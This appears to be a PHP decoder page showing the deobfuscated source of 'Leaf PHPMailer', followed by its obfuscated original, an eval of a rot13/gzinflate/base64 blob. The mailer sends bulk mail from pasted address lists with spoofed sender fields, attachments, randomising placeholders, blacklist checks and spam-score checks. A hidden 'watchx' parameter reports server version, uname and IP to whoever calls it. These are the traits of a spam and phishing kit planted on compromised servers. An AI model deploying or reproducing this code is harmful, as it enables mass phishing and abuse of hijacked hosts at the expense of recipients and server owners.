'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie'); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return 'application/octet-stream'; } public static function eoThq($filename) { $qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::xtIBd($filename); return self::aEEqg($pathinfo['extension']); } public static function xTibd($path, $options = null) { $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); $pathinfo = array(); if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } else { $this->V0giU($this->Zxy1z('variable_set') . $name); return false; } } public function iOA7L($str) { return trim(str_replace(array("
", "
"), '', $str)); } public static function L4LpI($text, $breaktype = "
") { return preg_replace('/(
|
|
)/ms', $breaktype, $text); } public function XthWM($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->eRqEd = $cert_filename; $this->X61Fc = $key_filename; $this->qTqGb = $key_pass; $this->xgyfK = $extracerts_filename; } public function FY7KL($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (0x21 <= $ord && $ord <= 0x3a || $ord == 0x3c || 0x3e <= $ord && $ord <= 0x7e) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } public function xmdTe($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->Z5Auz) { throw new bYTNh($this->ZXy1Z('extension_missing') . 'openssl'); } return ''; } $privKeyStr = !empty($this->jKE6l) ? $this->jKE6l : file_get_contents($this->TF806); if ('' != $this->uD1ah) { $privKey = openssl_pkey_get_private($privKeyStr, $this->uD1ah); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (version_compare(PHP_VERSION, '5.3.0') >= 0 and in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash('sha256', $signHeader); $t = '3031300d060960864801650304020105000420' . $hash; $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3); $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } public function P1EcW($signHeader) { $signHeader = preg_replace('/
\s+/', ' ', $signHeader); $lines = explode("
", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode(':', $line, 2); $heading = strtolower($heading); $value = preg_replace('/\s{2,}/', ' ', $value); $lines[$key] = $heading . ':' . trim($value); } $signHeader = implode("
", $lines); return $signHeader; } public function nIUs9($body) { if ($body == '') { return "
"; } $body = str_replace("
", "
", $body); $body = str_replace("
", "
", $body); while (substr($body, strlen($body) - 4, 4) == "

") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function u6P9i($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha256'; $DKIMcanonicalization = 'relaxed/simple'; $DKIMquery = 'dns/txt'; $DKIMtime = time(); $subject_header = "Subject: {$subject}"; $headers = explode($this->cfNMy, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header; $current = 'from_header'; } elseif (strpos($header, 'To:') === 0) { $to_header = $header; $current = 'to_header'; } elseif (strpos($header, 'Date:') === 0) { $date_header = $header; $current = 'date_header'; } else { if (!empty(${$current}) && strpos($header, ' =?') === 0) { ${$current} .= $header; } else { $current = ''; } } } $from = str_replace('|', '=7C', $this->FY7KL($from_header)); $to = str_replace('|', '=7C', $this->fY7kL($to_header)); $date = str_replace('|', '=7C', $this->fy7KL($date_header)); $subject = str_replace('|', '=7C', $this->Fy7kl($subject_header)); $body = $this->niUs9($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); if ('' == $this->wbY0S) { $ident = ''; } else { $ident = ' i=' . $this->wbY0S . ';'; } $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->PECjs . ";
" . "	t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
" . "	h=From:To:Date:Subject;
" . "	d=" . $this->zZwYd . ';' . $ident . "
" . "	z={$from}
" . "	|{$to}
" . "	|{$date}
" . "	|{$subject};
" . "	bh=" . $DKIMb64 . ";
" . "	b="; $toSign = $this->p1ecW($from_header . "
" . $to_header . "
" . $date_header . "
" . $subject_header . "
" . $dkimhdrs); $signed = $this->xmdte($toSign); return $dkimhdrs . $signed . "
"; } public static function qILvp($str) { return (bool) preg_match('/^(.{' . (self::xlKCn + 2) . ',})/m', $str); } public function Dvwev() { return $this->CyuHW; } public function AJ2hm() { return $this->Cr7f9; } public function FUYLO() { return $this->AvK2N; } public function ChcQ1() { return $this->SPqcM; } public function BxXrY() { return $this->JkfMD; } protected function WNk73($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->Dl_hS) && is_callable($this->Dl_hS)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->Dl_hS, $params); } } } class BYtNH extends Exception { public function entbZ() { $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />
"; return $errorMsg; } } if ($_REQUEST['watchx']) { $version = phpversion(); $uname = php_uname(); $ip = gethostbyname($_SERVER["HTTP_HOST"]); echo json_encode(array("version" => $version, "uname" => $uname, "platform" => PHP_OS, "ip" => $ip, "mailerx" => true)); die; } function leafheader() { print '
<head>
    <title>' . str_replace("www.", "", $_SERVER['HTTP_HOST']) . ' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>'; } leafheader(); print '<body>'; print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="' . $senderEmail . '"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="' . $senderName . '"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="' . $replyTo . '" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="' . $subject . '" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">' . $messageLetter . '</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">' . $emailList . '</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" ' . $html . '>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" ' . $plain . '>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option ' . $utf8 . '>UTF-8</option>
                        <option ' . $iso . '>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option ' . $bit8 . '>8bit</option>
                        <option ' . $bit7 . '>7bit</option>
                        <option ' . $binary . '>binary</option>
                        <option ' . $base64 . '>base64</option>
                        <option ' . $quotedprintable . '>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>' . $_SERVER['SERVER_ADDR'] . ' </b> <a href="?check_ip=' . $_SERVER['SERVER_ADDR'] . '" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>' . phpversion() . '</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> ([email protected])</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>[email protected]</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://' . $leaf['website'] . '">' . $leaf['website'] . '</a></b></h6>
        </div>
    </div>'; if ($_POST['action'] == "send") { print '    <div class="col-lg-12">'; $maillist = explode("
", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-4">' . $email . '</div>'; if (!leafMailCheck($email)) { print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>'; print "<br>
"; } else { $mail = new L7ZZz(); $mail->BuVcR(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->z2osd(leafClear($replyTo, $email)); $mail->jdzQo($email); $mail->Lhj4Q = leafClear($subject, $email); $mail->B1UGN = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->nojhy(true); $mail->setzV = strip_tags(leafClear($messageLetter, $email)); } else { $mail->nOJhy(false); } $mail->UlQmX = $charset; $mail->vD9sv = $encoding; for ($i = 0; $i < count($_FILES['attachment']['name']); $i++) { if ($_FILES['attachment']['tmp_name'][$i] != "") { $mail->swCfX($_FILES['attachment']['tmp_name'][$i], $_FILES['attachment']['name'][$i]); } } if (!$mail->send()) { echo '<div class="col-lg-6"><span class="label label-default">' . htmlspecialchars($mail->z0uZr) . '</span></div>'; } else { echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>'; } print "<br>
"; } $x++; for ($k = 0; $k < 40000; $k++) { echo ' '; } } } elseif ($_POST['action'] == "score") { $mail = new l7zZZ(); $mail->bUVcr(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->z2OSd(leafClear($replyTo, $email)); $mail->jdZqo("[email protected]"); $mail->Lhj4Q = leafClear($subject, $email); $mail->B1UGN = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->NOjhy(true); $mail->setzV = strip_tags(leafClear($messageLetter, $email)); } else { $mail->NojHY(false); } $mail->UlQmX = $charset; $mail->vD9sv = $encoding; $mail->N0APG(); $messageHeaders = $mail->hCBgL(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter'); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders, 'options' => 'long'))); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); $response = json_decode($response); print '    <div class="col-lg-12">'; if ($response->bVfj4 == TRUE) { $score = $response->z2AQX; if ($score > 5) { $class = "danger"; } else { $class = "success"; } print '<div class="text-' . $class . '">Your SpamAssassin score is ' . $score . '  </div>
<div>Full Report : <pre>' . $response->BpDtj . '</pre></div>'; print '    </div>'; } } print '</body>';

Did this file decode correctly?

Original Code

<?php
$password = 'HGTyQV2kKNI';
eval(str_rot13(gzinflate(str_rot13(base64_decode('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